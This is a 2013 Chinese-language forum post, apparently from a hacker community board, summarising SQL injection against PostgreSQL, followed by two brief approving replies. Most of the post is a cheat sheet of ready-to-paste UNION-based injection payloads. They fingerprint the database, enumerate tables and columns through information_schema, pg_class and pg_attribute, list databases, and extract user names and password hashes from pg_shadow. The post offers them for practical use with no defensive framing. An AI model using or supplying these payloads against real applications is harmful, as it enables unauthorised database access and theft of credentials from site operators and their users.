搜索
查看: 540|回复: 2

postgreSQL注入总结

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2013-10-11 20:16:10 来自手机 | 显示全部楼层 |阅读模式
结合了MSsql MySQL Oracle的一些特点
支持多语句执行,语句可以没有from
postgres用户是超级用户(创始人账户) 只有superuser有copy权限
注释: — , /**/
连接符: %20 , + , /**/
内置函数:
current_database() //当前数据库名
session_user //会话用户
current_user //当前数据库用户
user //当前用户
version() //数据库版本
Union注射:
order by n–
and 1=2 union select null,null,null–
and 1=2 union select ‘beach’,null,null–
and 1=2 union select (select version()),null,null–
获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名
select oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名
实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136
and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码
专业回帖 该用户已被删除
发表于 2013-10-11 22:00:04 | 显示全部楼层
学习了,不错,讲的太有道理了
854955425 该用户已被删除
发表于 2013-10-11 22:44:58 | 显示全部楼层
有竞争才有进步嘛
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表